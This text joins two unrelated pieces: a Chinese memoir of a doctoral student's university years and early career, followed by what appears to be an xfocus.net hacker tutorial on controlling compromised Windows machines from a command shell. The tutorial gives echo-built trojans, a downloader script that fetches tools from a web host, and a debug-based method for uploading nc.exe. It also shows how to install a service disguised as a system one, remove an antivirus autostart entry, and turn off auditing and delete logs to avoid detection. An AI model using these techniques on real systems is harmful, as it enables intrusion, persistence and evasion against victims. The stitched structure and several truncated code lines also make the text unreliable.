一个有20名职员的软件公司,程序员只有三四个,连“十羊九牧”都不如。200万元的财务报表中,有100多万元用于吃喝玩乐和行贿。这种公 司完全无药可救。台湾作家李敖曾说过:“当你没法扶一个人上马时,也许应该拉他下马”。从5月份到8月份,我行侠仗义,替G先生清理软件公司,根除Y经理 这些败类。
可是难哪,因为G先生投资的公司根本不把G先生放在眼里,又岂能让我插手。就在我想方设法卡住Y经理的脖子时,Y经理总能从G先生那里挖出钱。G先生就象被吸血鬼附身,却仍存幻想:“如果吸血鬼能治好我的病,就让它再吸些血吧。”
Y经理又和一个来自深圳的骗子H想了注意,教唆G先生再投资100万元新建一个“指纹”公司,说利润将比开发环保信息更加可观(估计要用亿来度量)。就在他们准备签合同之际,我偶尔路过,发现异常,便强行阻止。
G先生是个好人,但太顽固。好几次我气极想撒手不管,但又不忍心好人被坏人欺负。我曾请求G先生:“我求您别再说钱没有问题,您的私人财产会被人骗光。请让我把这漏洞堵住吧,好让我安心地回学校做完博士学位论文。”
到8月份,我和G先生的两个儿子,伙同“黑社会”的朋友,强行把那个软件公司搬回G先生的工厂中,辞退所有员工。现在那个软件公司被别人接管,仍然半死不活,好在每月亏损不过几万元,G先生承受得起,我就不再去碰G先生的伤疤。
我以前从未玩过与人勾心斗角的游戏,此三个月的经历让我疲惫不堪。那个软件公司的员工曾透露,Y经理的英国文凭大约是在上海或杭州某个大专培 训班里混来的。方鸿渐买美国克莱顿大学博士文凭尚知羞耻(《围城》),而Y经理却趾高气扬。害得我平白无故为英国教育界担心,回想起英国鬼子曾打劫过中 国,倍感耻辱。
G先生是正人君子,不防小人,实在不是现代的商人。我和他成了忘年交。G先生第一次见到我时问我工资几何,我答曰:“300元,够买几本书。”G先生甚为 着急:“这样的条件怎么能生活?你就搬到我家来住吧,我家条件好,你可以安心地学习,将来可为国家多作贡献。”后来他几次相邀,我就看在国家的份上住入他 家,一直住到博士毕业。
自从读中学以来,我第一次享受食来张口,不用洗衣服的奢侈。唯一的麻烦是我得向很多朋友解释:“我不是被别人养起来了,是为了国家的利益,不得已才这么做的。G先生是男的不是女的,并且没有待出嫁的女儿。”

我在读博士学位的三年半里,经历有点奇特。我遗憾的是“真才实学”没有长进多少,并且没有了在西电那样的纯真友情。略为欣慰的是我做了几件有意义的事情。

我很想讲一讲自己参加希望工程的经历与感受。
1998年暑假,浙江省云和县梅源中学的老师们带着希望班几名优秀学生来到浙江大学,其中有受我资助的何晓丽同学。我才知道初中学生一个学期的学杂费就要 600元。何晓丽哭诉下学期不能再上学,其它的学生处境相似。我以前资助的2000元是5个人3年平均分派的,根本不起作用。
那时侯,公司倒闭使我债务累累,并且自信心遭受十年来最大的打击。我在入不敷出、心事重重的情况下,没有推卸义务,而是“变本加厉”的去尽这 个义务。我在西电的好朋友史江一替我“接管”了一个中学生。有一个小姐追求我,我乘机给她一个活生生的“见面礼”。1999年7月份,我把饭卡送给了一个 大学生,自己成了无产阶级。从1997年11月起到我博士毕业期间,我直接或间接地为7个贫困学生捐助了约1万元。我有了几点感受:
(1)对人的帮助莫过于给予希望。
(2)人在任何时候都能够帮助比自己更困难的人,哪怕自己处于困境。
(3)帮助是要负责任的,一定要设法做成有意义的结果。不负责任的帮助就是“施舍”。“施舍”缺乏诚意,不配称为“帮助”。不少人曾对我说:“你是做大事的人,不要在小事上浪费精力,更不要为了别人而害了自己。”
很多人总以为自己将来是伟大人物而不愿做小事,从而到死也没做成什么有价值的事。也有很多人希望自己成功后再去帮助别人,无论他最终成功还是 失败,一辈子也没有帮助过人。还有很多人略有权势或略有名气后,便觉得自己吃喝玩乐、放屁、上厕所都是重要的事,在他们最能够帮助人的时候却以“太忙” “没空”为理由不去做好事。
我也在忙碌、在奋斗,也渴望成为伟大人物,但我希望让有意义的小事充实一生。

我还要讲另一件我常干的小事。
很多受过高等教育的人保留了随地扔垃圾的“风俗习惯”,这恶习就象脚气那样虽然不致人于死地,但能遗臭万年。即便象浙江大学这等典雅的地方, 你都经常可以看见草坪、校门口的废纸、果皮和塑料袋等,垃圾就如同天使脸上的一砣狗屎那样鲜艳,人们竟然无动于衷。我记不请自己多少次当众、当道捡垃圾, 可是几年来我都没有在大学里发现第二个做这种事的人。我很想对所有的教授、博士、硕士、学士们讲句话:“救人并不只是医生干的事,保护环境也不只是清洁工 干的事。只要你多花几秒钟,弯几次腰,就能让环境更加清洁,让心灵更加清洁。我们不必个个道貌岸然,但至少应该做到‘读书明理’。”那些正在追我和将要追 我的小姐们,你多捡一次垃圾就多一份希望,你丢一次垃圾就不再有希望。
我这样喋喋不休地讲“希望工程”和“捡垃圾”,并不是在沽名钓誉,也不是在布道,只是希望我这些“金玉良言”能触动更多的自以为自己是高素质的人们。

在浙大的三年半里,我没有对感情“播种”,所以也没有收获,但有一次“艳遇”。在关闭公司的那天晚上,人去楼空,我象严监生断气前那样盯着尚 未熄灭的灯。这时某大学的一位四年级女生来找我。一年前她曾作为实习记者采访过我,谈得很投机。我知道她是聪明好学的学生,曾大言不惭地教导过她几次。我 开公司的一年里几乎没与她来往过,想不到当我成了光杆司令时她还能“兔死狐悲”地来看望我,着实让我感动。
我不无自嘲地对她说:“你不用安慰我了,这次失败我还能挺得住。”
她说:“我不是来安慰你的。我一直盼望你的公司倒闭,等了整整一年。在你去北京之前,我有话跟你说。”
我心下一凉,搞不清什么地方得罪她了,让她如此记恨我。大概是我得意之日教导她时言语过重,伤了她的自尊心。好在我是知错就改的人,当下惭愧地向她道歉。
她不理会我,说:“你开公司时光环重重,我根本无法靠近你。即便那时我成了你的好朋友,你也不会把我放在眼里。我暗恋你一年了,一直都没跟你 讲。我早知道你会失败的,失败时你就剩下一个人,你才会知道我是真心爱你的,而不是冲着其它来的。你是个优秀的理科学生,我是个优秀的文科学生,门当户 对,珠帘壁合。请你不要觉得女的追男的很荒唐,我是认真的,请你给我一次机会。”
我虽然评不上情场高手,好歹也在爱河里游过泳,呛过水。想不到仓促之下,被一女子说得脸红耳赤,无法掩盖窘相。
我一直认为男人应该勤劳一辈子,好让柔弱的女子舒舒服服地在大树下乘凉。而学习、工作出色的女子只能做朋友,不能做夫人。
她从小习诗弄文,读大学时蜚声校园。我见到她第一面时就把她归类为事业上的朋友,所以才会正儿八经地与她交谈并教导她。我在西电的两个女朋友 就属于读书不太好但比较有魅力的女生,我从来也没有指导过她们学习。如果我喜欢一个女孩子并希望她成为我的女朋友,我早就去追求她了,岂能轮到她追我。
她见我彷徨不安,便滔滔不绝地例举爱我的“证据”。我开公司一年来发生的事她了如指掌,就象在我的房间里放了窃听器,在我的朋友中安插了间 谍。她甚至趁着实习机会跑到团中央去查阅我的老底,有些“光辉记录”我过去的伙伴都未必知道。她思念我时,写了很多诗,留了很多泪……
我早知道有些人不编程序、不做实验就能写出论文,难道男女之间不接触也能滋生感情?
第一回合我就被她挑翻在地,我莫名其妙地成了“负心郎”,无地自容地把她送走。我以为这是文科女生的风格,就当作一个趣事不放在心上。
我从北大方正“劳改”回来不久后,她提着一篮鲜花来找我,并对我说了她的梦想:在寒冷的冬天,大地铺满积雪,四野人鸟绝迹。我孤独求败地深居 在冷冰冰的小木屋里。在一个狂风呼啸的黄昏,她一手拎着亲手做的饭菜(我想应该有土豆和辣椒),一手拎着一捆木柴,敲开了那扇紧闭的门和心房。终于木屋四 壁生辉……
我曾对第一个朋友最好的赞美是:“黄蓉很象你。”
我曾对第二个朋友最深情的话是:“将来咱们老了,我回黄岩当物理老师,你当语文老师。”
相比之下,我的确不及她浪漫。此后她再找过我几次,当我意识到她动真格的时候,她已不能自拔。爱情是很怪的东西,并不是两个好人在一起就能碰出火花。与其让她长痛,还不如让她狠痛一次。
我对她说:“我们真的不能在一起。”
她问为什么?
我说:“不为什么,我没有心跳的感觉。”
她说十年之后再找我。
我知道她会奋发图强,因为她会一直想着“为什么”,期望让自己有个满意的答案。 这条路8年前我已经走过了。后来她读硕士时我曾再见过她,她在文学上已经有了长足的进步。
她说将会送给我她的第一本著作,书中开头的几个故事是关于我和她。
我说看了她的书后一定会写一篇读后感给她。
她仍然提醒我不要忘记十年后的相约。

我在浙大有一个值得怀念的人,她是管宿舍楼的大妈。在1999年1月至5月,我在博士生宿舍静心修炼内功,大妈就象我的“”。晚上九点钟时, 她就会烧些东西给我吃。我和大妈非亲非故,同学们都不明白大妈为什么待我好。我想那是因为我没把自己当成“博士”来看,而是当成“人”来看。
5月份后,我看在国家的份上搬到一个千万富翁家里去住,大妈也调到“熊猫馆”当掌门人。我一般隔几个月去看望大妈一次,中秋节我就和她在一起。朋友们知道我和大妈有这层关系,就纷纷托大妈物色女朋友。
大妈果然称职,她就象特务那样审视大楼里的女生。可大妈毕竟是大妈,她采用的“标准”是几十年前的版本,无法与现今的兼容。她盯住了不该盯的,却漏掉了不该漏的,至今都未“推销”成功一个。
这件事让我又明白了关于软件的一个道理:光有完善的数据库还不够,还应该提供很好的搜索引擎。

我相信生活、科学、艺术中的很多道理是相通的,于是就不嫌人笑,写下了十年来的故事,交最后一次作业。
大学十年给我留下了很多美好的回忆,现在可以打上漂亮的句号了。尽管我即将告别大学,但我会终生学习。也许我成不了天才,但还有机会成为天才的爸爸。
我想大声呼喊出那种可以用双手把握未来的自豪。
我要对年轻的朋友们说两句肺腑之言:
一、主动去创造环境,否则你无法设计人生。
二、生活和工作要充满激情,否则你无法体会到淋漓尽致的欢乐与痛苦。
如果我碰到上帝,只会对他说一句话:“你看厕所去吧。”

2000年7月份,我从浙江大学博士毕业后到上海贝尔有限公司工作。从2000年8月至2001年底,大约一年半时间,我在网络应用事业部从事软件工程与 CMM的研究与推广工作。从2002年初至今,我调到公司总部从事企业研发管理的研究。我在上海贝尔没有发财,没有当官,那么工作近两年来我都在做些什么 呢?
我在心平气和、踏踏实实地做学问。
我读本科的专业是半导体物理,硕士专业是集成电路,博士专业是计算机图形学。十年之内我换了三个专业,哪一个专业都没有学精通。我觉得自己在软件工程方面有些悟性,可是没有当成专业来系统地学习。所以博士毕业时,除了有点虚名外,我的确没有什么过人的才能。
如今大学里的博士、教授中“水货很多”,我不幸是其中之一。象我这样的好苗子沦落为“水货”,是中国大学学术腐败、堕落的恶果。
在公司里,很多员工恭谨地叫我“林博士”,甚至还有年轻人特意来看看我这个“好榜样”。虽然我也爱慕虚荣,可是良心未泯,彼时我那有博士的真才实学,多么羞耻啊。

刚到公司时,我有两类工作可选择:一是开发产品,二是研究并解决企业存在的软件工程问题。
我在开发产品方面比绝大部分应届毕业生和员工们有经验,当项目经理可谓熟能生巧。软件工程则是我的研究兴趣。前者可能会有更高的经济收入,后者能提高自己的学问。当时我的想法很简单:趁着自己还年轻,赶紧好好做学问,弥补读博士期间浪费的三年青春,让自己有真才实学。
在企业里做学问与高校里很不一样。如今学校里的学者们越来越浮躁,聪明才智大多建立在“纸上谈兵”之上,做学问变成了造文章。而企业特别讲究“务实”,所有的工作围绕一个目标:努力让企业活下去并且活得更好。
我在公司里没有象在学校里那么“兴风作浪”,日子过得很简单,不停地调研、写规范和培训。就象少林寺藏经阁里的修练者。上海贝尔提供了一流的 软件工程研究与实践环境(不是现成的,是争取来的,这就是我信奉的“创造环境”)。在这种环境下,只要人不笨,认真工作,谁都能成为软件工程专家。
在博士毕业前,我写了一本薄薄的书叫《软件工程思想》。这本书与《大学十年》一样在网上流传,我曾经自鸣得意。最近我要出版一些研究成果,便重新阅读了那本《软件工程思想》。发现此书真的是彻底地“纸上谈兵”,不仅对企业毫无用处,并且会误导读者。
我真是悲喜交加,悲的是和我同类的一大批“假博士”长期干些“自欺欺人”的研究工作,浪费生命并且浪费国家财产。喜的是我终于跳出了虚假学术的火炕。我不敢说现在自己的水平有多高,但至少能够拿出一些对企业有价值的东西来。
我在公司是一名自由自在的软件工程专家,公司待我不薄。如果不给自己一些事业上的压力,人很容易在安逸中堕落。我的目标是创作出可以与 Rational公司RUP相媲美的软件过程规范,并且开发出物美价廉的适合于中国IT企业的项目管理软件。基于大量实践的基础上,我和合作者研制了一套 “软件过程改进解决方案”(Software Process Improvement Solution, SPIS)。SPIS的主要组成部分:有基于CMMI 3级的软件过程改进方法与规范,称之为精简并行过程(Simplified Parallel Process, SPP)。一系列培训教材,包括软件工程、项目管理、高质量编程等。基于Web的项目管理工具,包括项目计划、项目监控、质量管理、配置管理、需求管理等 功能,命名为Future。
以我们研究小组的实力本来是可以顺利完成SPIS的。但遗憾的是,SPIS不是公司产品发展战略范畴之内的东西,不能作为正式项目开发,我的组员们都被分配了其它的任务。我只能在公司之外组织一些朋友共同开发SPIS。虽然困难很大,但是工作很有意义,很鼓舞人。
我依然相信“创造性的事业要靠激情来推动”。最近我又重新修订了以前写的《高质量C++/C编程指南》一书,增加了不少精彩章节,更名为《高 质量程序设计指南——C++/C语言》,2002年5月底会在电子工业出版社出版。希望在今后的一年内,我能结识不少志同道合的朋友,共同把事业做好。

 

(全文完)

Do All in Cmd Shell

www.xfocus.net

目录
1,前言
2,文件传输
3,系统配置
4,网络配置
5,软件安装
6,Windows脚本
7,附言

前言
Cmd Shell(命令行交互)是黑客永恒的话题,它历史悠久并且长盛不衰。本文旨在介绍和总结一些在命令行下控制Windows系统的方法。这些方法都是尽可能地利用系统自带的工具实现的。

文件传输
对 于溢出漏洞获得的cmd shell,最大的问题就是如何上传文件。由于蠕虫病毒流行,连接ipc$所需要的139或445端口被路由封锁。再加上WinXP系统加强了对 ipc$的保护,通过ipc$及默认共享上传文件的手段基本无效了。ftp和tftp是两种可行的方法,介于其已被大家熟知,本文就不介绍了。还有三种大 家熟悉的办法,作为总结我再提一下:

1,用Echo命令写ASP木马。
前提当然是目标主机上已经安装了IIS。
一般的ASP木马“体积”较大,不适合直接用echo命令写入文件,这里我提供一个小巧的。
直接给出echo版:

@echo ^ >up.asp

注意,只有一行,中间没有回车符。
生成的up.asp不能用浏览器访问,只能用下面这个脚本:

with wscript
if .arguments.count>dl.vbs
@echo w.open “get”,.arguments(0),0:w.send:if w.status^>200 then .echo “Error:”+w.status:.quit>>dl.vbs
@echo aso.type=1:aso.open:aso.write w.responsebody:aso.savetofile .arguments(1),2:end with >>dl.vbs

举例——下载ps.exe并保存到c:/path下:

cscript dl.vbs http://www.sometips.com/soft/ps.exe c:/path/ps.exe

注意,这是在远程shell中执行的。

4,Echo经过编码的任何文件,再用脚本+debug还原。
前面两个办法都不能保证穿过防火墙。而且,除非自己架Web服务器,一般的Web资源都是以压缩文件的形式提供。如果目标主机没有解压工具,还是没辙。那么只有出“杀手锏”了!

echo 命令加重定向x作符可以写入ASCII码小于128的字符,但大于等于128的不行。只有将本地文件重新“编码”为可显示的字符,才能方便地写入远程主 机。首先能想到的就是base64编码,即email附件的编码方式。但vbs不支持位x作,因此编码和解码较复杂。更麻烦的是,脚本以二进制流方式处理 文件的能力很差。(ADODB.Stream可以以流方式写文件,但我无法构造出相应的数据类型。二进制数据流可以用midb函数转成字符串,但反过来不 行。我花了两天时间,还是没能解决这个问题。如果有谁能用vbs或js写任意的字节数据到文件中,恳请赐教。)

无奈只有请debug.exe出马了。原理很多人都知道,我不介绍了,直接给出成果——编码脚本:

fp=wscript.arguments(0)
fn=right(fp,len(fp)-instrrev(fp,”/”))
with createobject(“adodb.stream”)
.type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)
end with
sll=sl mod 65536:slh=sl/65536
with createobject(“scripting.filesystemobject”).opentextfile(fp&”.bat”,2,true)
.write “@echo str=”””
for i=1 to sl
bt=ascb(midb(str,i,1))
if bt>debug.vbs”+vbcrlf+”@echo +”””
next
.writeline “””>>debug.vbs”+vbcrlf+”@echo with wscript.stdout:r=vbcrlf”_
+”:for i=1 to len(str) step 48:.write “”e””+hex(256+(i-1)/2)”_
+”:for j=i to i+46 step 2:.write “” “”+mid(str,j,2):next:.write r:next>>debug.vbs”
.writeline “@echo .write “”rbx””+r+”””+hex(slh)+”””+r+””rcx””+r+”””+hex(sll)_
+”””+r+””n debug.tmp””+r+””w””+r+””q””+r:end with”_
+”>>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp “””&fn&”””&del debug.vbs”
end with

将其保存为echo.vbs。假设要上传nc.exe,那么在本地命令行输入命令:

cscript echo.vbs nc.exe

也可以直接把要传输的文件的图标拖放到脚本文件的图标上。
稍等一会儿,在当前目录下将生成一个nc.exe.bat。用记事本等编辑工具打开它,可以看到如下内容:

@echo str=”4D5A90000300000004000000FFFF0000B80000000000
0000400000000000000000000000000000000000000000000
000000000000000000000000000800000000E1FBA0E00B409
CD21B8014CCD21546869732070726F6772616D2063616E6E6
F742062652072756E20696E20444F53206D6F64652E0D0D0A
2400000000000000″_>>debug.vbs
@echo +”504500004C010400B98EAE340000000000000000E0000F0
10B010500009800000062000000000000004C000000100000
00B0000000004000001000000002000004000000000000000
4000000000000000030010000040000000000000300000000
0010000010000000001000001000000000000010000000000
0000000000000″_>>debug.vbs
@echo +”002001003C0000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000
0000000000000000000000000000000A02101006401000000
00000000000000000000000000000000000000000000002E7
4657874000000″_>>debug.vbs
@echo +”70970000001000000098000000040000000000000000000
000000000200000602E726461746100001704000000B00000
00060000009C0000000000000000000000000000400000402
E646174610000004452000000C00000003E000000A2000000
0000000000000000000000400000C02E696461746100005C0
7000000200100″_>>debug.vbs
…………
…………(省略若干行)
…………
@echo +””>>debug.vbs
@echo with wscript.stdout:r=vbcrlf:for i=1 to len(str) step 48:.write “e”+hex(256+(i-1)/2):for j=i to i+46 step 2:.write ” “+mid(str,j,2):next:.write r:next>>debug.vbs
@echo .write “rbx”+r+”0″+r+”rcx”+r+”E800″+r+”n debug.tmp”+r+”w”+r+”q”+r:end with>>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp “NC.EXE”&del debug.vbs

全选 -》 复制 -》 切换到远程命令行窗口 -》 粘贴。
如果网速不是很慢的话,整个上传过程大约需要20秒。

几点说明:
1,大的文件传输不稳定,可能会使shell死掉。所以文件越小效果越好。建议原文件不要超过100KB。
2,在传输大文件前,可以先传个小的文件作为“热身”,让16位虚拟机ntvdm.exe驻留后台。所有文件传完后,为隐蔽起见,应该把ntvdm进程杀掉。
3,某些cmd shell每个命令都需要附加两个回车,那nc.exe.bat就不能直接用了。
4, 单个命令的长度是有限的,所以不能只用一个echo完成全部任务。而且,对于nc提供的cmd shell,稍长一些的命令竟然会使shell自动退出(溢出了?)。你可以修改”i mod 128=0″语句中的128以调整每个echo命令的长度。每次echo的字符为这个数乘以2。
5,解码过程没有脚本参与也是可以的。使用脚本的目的是减少传输的数据量(因为压缩了数据)。如果有时间,我会写一个更完善的脚本,加强数据压缩能力,增加数据校验功能。

能上传文件当然一切都好办了,但很多x作用Windows自带的工具更方便。在你到处寻找需要的工具时,不要忘了Windows本身。

系统配置
这节包括三方面内容:注册表、服务和组策略。

先说注册表。很多命令行下访问注册表的工具都是交互式的,溢出产生的shell一般不能再次重定向输入/输出流,所以无法使用。好在系统自带的regedit.exe足够用了。

1,读取注册表
先将想查询的注册表项导出,再用type查看,比如:

C:/>regedit /e 1.reg “HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/WinStations/RDP-Tcp”

C:/>type 1.reg | find “PortNumber”
“PortNumber”=dword:00000d3d

C:/>del 1.reg

所以终端服务的端口是3389(十六进制d3d)

2,修改/删除注册表项
先echo一个reg文件,然后导入,比如:

echo Windows Registry Editor Version 5.00 >1.reg
echo. >>1.reg
echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/TelnetServer/1.0] >>1.reg
echo “TelnetPort”=dword:00000913 >>1.reg
echo “NTLM”=dword:00000001 >>1.reg
echo. >>1.reg
regedit /s 1.reg

将telnet服务端口改为2323(十六进制913),NTLM认证方式为1。

要删除一个项,在名字前面加减号,比如:

[-HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Serv-U]

要删除一个值,在等号后面用减号,比如:

[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]
“KAVRun”=-

3,用inf文件访问注册表
上面对注册表的三个x作,也可以用下面这个inf文件来实现:

[Version]
Signature=”$WINDOWS NT$”
[DefaultInstall]
AddReg=My_AddReg_Name
DelReg=My_DelReg_Name
[My_AddReg_Name]
HKLM,SOFTWARE/Microsoft/TelnetServer/1.0,TelnetPort,0x00010001,2323
HKLM,SOFTWARE/Microsoft/TelnetServer/1.0,NTLM,0x00010001,1
[My_DelReg_Name]
HKLM,SYSTEM/CurrentControlSet/Services/Serv-U
HKLM,SOFTWARE/Microsoft/Windows/CurrentVersion/Run,KAVRun

将它写入c:/path/reg.inf然后用下面这个命令“安装”:

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:/path/reg.inf

几点说明:
1,[Version]和[DefaultInstall]是必须的,AddReg和DelReg至少要有一个。My_AddReg_Name和My_DelReg_Name可以自定义。
0x00010001表示REG_DWORD数据类型,0x00000000或省略该项(保留逗号)表示REG_SZ(字符串)。0x00020000表示REG_EXPAND_SZ。2323也可以用0x913代替。
关于inf文件的详细信息,可以参考DDK帮助文档。
2,InstallHinfSection是大小写敏感的。它和setupapi之间只有一个逗号,没有空格。128表示给定路径,该参数其他取值及含义参见MSDN。特别注意,最后一个参数,必须是inf文件的全路径,不要用相对路径。
3,inf文件中的项目都是大小写不敏感的。

接下来说服务。如果想启动或停止服务,用net命令就可以。但想增加或删除服务,需要用SC,instsrv.exe,xnet.exe等工具。而这些工具系统没有自带(XP和2003自带SC)。导入注册表虽然可以,但效果不好,这里我们请inf文件出马。

增加一个服务:

[Version]
Signature=”$WINDOWS NT$”
[DefaultInstall.Services]
AddService=inetsvr,,My_AddService_Name
[My_AddService_Name]
DisplayName=Windows Internet Service
Description=提供对 Internet 信息服务管理的支持。
ServiceType=0x10
StartType=2
ErrorControl=0
ServiceBinary=%11%/inetsvr.exe

保存为inetsvr.inf,然后:

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:/path/inetsvr.inf

这个例子增加一个名为inetsvr的服务(是不是很像系统自带的服务,呵呵)。

几点说明:
1,最后四项分别是
服务类型:0x10为独立进程服务,0x20为共享进程服务(比如svchost);
启动类型:0 系统引导时加载,1 OS初始化时加载,2 由SCM(服务控制管理器)自动启动,3 手动启动,4 禁用。
(注意,0和1只能用于驱动程序)
错误控制:0 忽略,1 继续并警告,2 切换到LastKnownGood的设置,3 蓝屏。
服务程序位置:%11%表示system32目录,%10%表示系统目录(WINNT或Windows),%12%为驱动目录system32/drivers。其他取值参见DDK。你也可以不用变量,直接使用全路径。

这四项是必须要有的。

2,除例子中的六个项目,还有LoadOrderGroup、Dependencies等。不常用所以不介绍了。
3,inetsvr后面有两个逗号,因为中间省略了一个不常用的参数flags。

删除一个服务:

[Version]
Signature=”$WINDOWS NT$”
[DefaultInstall.Services]
DelService=inetsvr

很简单,不是吗?

当然,你也可以通过导入注册表达到目的。但inf自有其优势。
1,导出一个系统自带服务的注册表项,你会发现其执行路径是这样的:
“ImagePath”=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,/
74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,74,/
00,6c,00,6e,00,74,00,73,00,76,00,72,00,2e,00,65,00,78,00,65,00,00,00
可 读性太差。其实它就是%SystemRoot%/system32/tlntsvr.exe,但数据类型是REG_EXPAND_SZ。当手动导入注册表 以增加服务时,这样定义ImagePath显然很不方便。而使用inf文件就完全没有这个问题,ServiceBinary(即ImagePath)自动 成为REG_EXPAND_SZ。
2,最关键的是,和用SC等工具一样,inf文件的效果是即时起效的,而导入reg后必须重启才有效。
3,inf文件会自动为服务的注册表项添加一个Security子键,使它看起来更像系统自带的服务。

另外,AddService和DelService以及AddReg、DelReg可以同时且重复使用。即可以同时增加和删除多个服务和注册表项。详细的内容还是请查看DDK。

最后说说组策略。组策略是建立Windows安全环境的重要手段,尤其是在Windows域环境下。一个出色的系统管理员,应该能熟练地掌握并应用组策略。在窗口界面下访问组策略用gpedit.msc,命令行下用secedit.exe。

先看secedit命令语法:
secedit /analyze
secedit /configure
secedit /export
secedit /validate
secedit /refreshpolicy
5个命令的功能分别是分析组策略、配置组策略、导出组策略、验证模板语法和更新组策略。其中
secedit /refreshpolicy 在XP/2003下被gpupdate代替。这些命令具体的语法自己在命令行下查看就知道了。

与访问注册表只需reg文件不同的是,访问组策略除了要有个模板文件(还是inf),还需要一个安全数据库文件(sdb)。要修改组策略,必须先将模板导入安全数据库,再通过应用安全数据库来刷新组策略。来看个例子:

假设我要将密码长度最小值设置为6,并启用“密码必须符合复杂性要求”,那么先写这么一个模板:

[version]
signature=”$CHICAGO$”
[System Access]
MinimumPasswordLength = 6
PasswordComplexity = 1

保存为gp.inf,然后导入:

secedit /configure /db gp.sdb /cfg gp.inf /quiet

这个命令执行完成后,将在当前目录产生一个gp.sdb,它是“中间产品”,你可以删除它。
/quiet参数表示“安静模式”,不产生日志。但根据我的试验,在2000sp4下该参数似乎不起作用,XP下正常。日志总是保存在%windir%/security/logs/scesrv.log。你也可以自己指定日志以便随后删除它。比如:

secedit /configure /db gp.sdb /cfg gp.inf /log gp.log
del gp.*

另外,在导入模板前,还可以先分析语法是否正确:

secedit /validate gp.inf

那么,如何知道具体的语法呢?当然到MSDN里找啦。也有偷懒的办法,因为系统自带了一些安全模板,在%windir%/security/templates目录下。打开这些模板,基本上包含了常用的安全设置语法,一看就懂。

再举个例子——关闭所有的“审核策略”。(它所审核的事件将记录在事件查看器的“安全性”里)。
echo版:

echo [version] >1.inf
echo signature=”$CHICAGO$” >>1.inf
echo [Event Audit] >>1.inf
echo AuditSystemEvents=0 >>1.inf
echo AuditObjectAccess=0 >>1.inf
echo AuditPrivilegeUse=0 >>1.inf
echo AuditPolicyChange=0 >>1.inf
echo AuditAccountManage=0 >>1.inf
echo AuditProcessTracking=0 >>1.inf
echo AuditDSAccess=0 >>1.inf
echo AuditAccountLogon=0 >>1.inf
echo AuditLogonEvents=0 >>1.inf
secedit /configure /db 1.sdb /cfg 1.inf /log 1.log /quiet
del 1.*

也 许有人会说:组策略不是保存在注册表中吗,为什么不直接修改注册表?因为不是所有的组策略都保存在注册表中。比如“审核策略”就不是。你可以用 regsnap比较修改该策略前后注册表的变化。我测试的结果是什么都没有改变。只有“管理模板”这一部分是完全基于注册表的。而且,知道了具体位置,用 哪个方法都不复杂。

比如,XP和2003的“本地策略”-》“安全选项”增加了一个“本地帐户的共享和安全模式”策略。XP下默认的设置是“仅来宾”。这就是为什么用管理员帐号连接XP的ipc$仍然只有Guest权限的原因。可以通过导入reg文件修改它为“经典”:

echo Windows Registry Editor Version 5.00 >1.reg
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Lsa] >>1.reg
echo “forceguest”=dword:00000000 >>1.reg
regedit /s 1.reg
del 1.reg

而相应的用inf,应该是:

echo [version] >1.inf
echo signature=”$CHICAGO$” >>1.inf
echo [Registry Values] >>1.inf
echo MACHINE/System/CurrentControlSet/Control/Lsa/ForceGuest=4,0 >>1.inf
secedit /configure /db 1.sdb /cfg 1.inf /log 1.log
del 1.*

关于命令行下读取组策略的问题。
系统默认的安全数据库位于%windir%/security/database/secedit.sdb,将它导出至inf文件:

secedit /export /cfg gp.inf /log 1.log

没有用/db参数指定数据库就是采用默认的。然后查看gp.inf。

不 过,这样得到的只是组策略的一部分(即“Windows设置”)。而且,某个策略如果未配置,是不会被导出的。比如“重命名系统管理员帐户”,只有被定义 了才会在inf文件中出现NewAdministratorName=”***”。对于无法导出的其他的组策略只有通过访问注册表来获得了。
此办法在XP和2003下无效——可以导出但内容基本是空的。原因不明。根据官方的资料,XP和2003显示组策略用RSoP(组策略结果集)。相应的命令行工具是gpresult。
但是,它获得的是在系统启动时被附加(来自域)的组策略,单机测试结果还是“空”。所以,如果想知道某些组策略是否被设置,只有先写一个inf,再用secedit /analyze,然后查看日志了。

网络配置
Windows 自带的关于网络的命令行工具很多,比如大家熟悉的ping, tracert, ipconfig, telnet, ftp, tftp, netstat,还有不太熟悉的nbtstat, pathping, nslookup, finger, route, netsh……
这些命令又可分成三类:网络检测(如ping)、网络连接(如telnet)和网络配置(如netsh)。前面两种相对简单,本文只介绍两个网络配置工具。

netsh
在 远程shell中使用netsh首先要解决一个交互方式的问题。前面说过,很多shell不能再次重定向输出输出,所以不能在这种环境下交互地使用ftp 等命令行工具。解决的办法是,一般交互式的工具都允许使用脚本(或者叫应答文件)。比如ftp -s:filename。netsh也是这样:netsh -f filename。

netsh命令的功能非常多,可以配置IAS、DHCP、RAS、WINS、NAT服务器,TCP/IP协议,IPX协议,路由等。我们不是管理员,一般没必要了解这么多,只需用netsh来了解目标主机的网络配置信息。

1,TCP/IP配置

echo interface ip >s
echo show config >>s
netsh -f s
del s

由此你可以了解该主机有多个网卡和IP,是否是动态分配IP(DHCP),内网IP是多少(如果有的话)。这个命令和ipconfig /all差不多。

注意,以下命令需要目标主机启动remoteaccess服务。如果它被禁用,请先通过导入注册表解禁,然后net start remoteaccess

2,ARP

echo interface ip >s
echo show ipnet >>s
netsh -f s
del s

这个比arp -a命令多一点信息。

3,TCP/UDP连接

echo interface ip >s
echo show tcpconn >>s
echo show udpconn >>s
netsh -f s
del s

这组命令和netstat -an一样。

4,网卡信息
如果netsh命令都有其他命令可代替,那它还有什么存在的必要呢?下面这个就找不到代替的了。

echo interface ip >s
echo show interface >>s
netsh -f s
del s

netsh的其他功能,比如修改IP,一般没有必要使用(万一改了IP后连不上,就“叫天不应叫地不灵”了),所以全部略过。

IPSec
